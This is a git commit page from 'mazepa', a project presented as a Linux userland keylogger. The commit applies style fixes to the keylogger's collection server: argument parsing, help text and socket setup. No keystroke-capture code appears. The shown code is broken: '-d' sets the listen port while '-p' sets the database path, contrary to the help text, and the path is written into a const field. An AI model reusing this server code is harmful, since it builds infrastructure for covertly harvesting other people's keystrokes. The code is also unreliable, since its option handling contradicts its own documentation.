mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 98bc2594d0d346227d94f96c94ca7bfbc545a891
parent 8c54f1692340d8c4cc01cfd5d0331f3fbfe5810d
Author: djnn.sh <[email protected]>
Date: Fri, 12 Jan 2024 11:04:28 +0100

fix(server): coding style fixes

Diffstat:
Mserver/includes/server.h | 13++++++-------
Mserver/sources/lexxer.c | 71+++++++++++++++++++++++++++++++++--------------------------------------
Mserver/sources/main.c | 13++++++-------
Mserver/sources/net.c | 1-

4 files changed, 45 insertions(+), 53 deletions(-)

diff --git a/server/includes/server.h b/server/includes/server.h
@@ -42,16 +42,15 @@ typedef struct server_state {
   TAILQ_HEAD(listhead, client_state) clients;
 
   struct user_options {
-        char const db_filepath[STRING_BUFFER_SIZE]; // sqlite .db filepath
-        unsigned short listen_port;
+    char const db_filepath[STRING_BUFFER_SIZE]; // sqlite .db filepath
+    unsigned short listen_port;
 
-        /*
-            TODO:
-            add encryption key config here, once protocol impl. is finished
-        */
+    /*
+        TODO:
+        add encryption key config here, once protocol impl. is finished
+    */
   } options;
 
-
   int sockfd;
 } server_t;
 
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -8,7 +8,6 @@
 #include <strings.h>
 #include <unistd.h>
 
-
 const static struct option cli_options[] = {
     {"help", no_argument, 0, 'h'},
     {"listen-port", required_argument, 0, 'p'},
@@ -16,59 +15,55 @@ const static struct option cli_options[] = {
 };
 
 static void get_help(const char *bin_name) {
-    printf("%s: mazepa keylogger server\n", bin_name);
-    printf("USAGE:\n");
-    printf("\t--listen-port [-p]: specifies server listening port\n");
-    printf("\t--db-path     [-d]: specifies sqlite .db filepath\n");
+  printf("%s: mazepa keylogger server\n", bin_name);
+  printf("USAGE:\n");
+  printf("\t--listen-port [-p]: specifies server listening port\n");
+  printf("\t--db-path     [-d]: specifies sqlite .db filepath\n");
 
-    printf("\t--help        [-h]: triggers help mode\n");
-    printf("\n\nwritten with <3 by djnn -- https://djnn.sh");
+  printf("\t--help        [-h]: triggers help mode\n");
+  printf("\n\nwritten with <3 by djnn -- https://djnn.sh");
 }
 
-int parse_cli_arguments(
-        server_t *instance,
-        int ac,
-        char **av,
-        __attribute__((unused)) char **envp
-    ) {
+int parse_cli_arguments(server_t *instance, int ac, char **av,
+                        __attribute__((unused)) char **envp) {
 
-    int c = 0;
-    int opt_idx = 0;
-    char const *short_options = "d:p:h";
+  int c = 0;
+  int opt_idx = 0;
+  char const *short_options = "d:p:h";
 
-    while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) != -1) {
+  while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
+         -1) {
 
-        switch (c) {
-            case 'h':
-                get_help(av[0]);
-                _exit(0);
+    switch (c) {
+    case 'h':
+      get_help(av[0]);
+      _exit(0);
 
-            case 'd':
+    case 'd':
 
-                instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
+      instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
 #ifdef DEBUG
-                DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
+      DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
 #endif
-                break;
-
+      break;
 
-            case 'p':
+    case 'p':
 
-                bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
-                memcpy((void *)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
+      bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
+      memcpy((void *)instance->options.db_filepath, optarg,
+             strnlen(optarg, STRING_BUFFER_SIZE));
 #ifdef DEBUG
-                DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
+      DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
 #endif
-                break;
-
-            case '?':
-                return ERROR;
-
-            default: break;
+      break;
 
-        }
+    case '?':
+      return ERROR;
 
+    default:
+      break;
     }
+  }
 
-    return SUCCESSFUL;
+  return SUCCESSFUL;
 }
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -4,15 +4,14 @@
 
 int main(int ac, char **av, char **envp) {
 
-    server_t srv = {0};
+  server_t srv = {0};
 
-    if (!parse_cli_arguments(&srv, ac, av, envp)) {
+  if (!parse_cli_arguments(&srv, ac, av, envp)) {
 #ifdef DEBUG
-        DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
+    DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
 #endif
-        _exit(1);
-    }
-
-    srv.sockfd = init_remote_connection(&srv);
+    _exit(1);
+  }
 
+  srv.sockfd = init_remote_connection(&srv);
 }
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -65,6 +65,5 @@ int init_remote_connection(server_t *instance) {
     return -1;
   }
 
-
   return sockfd;
 }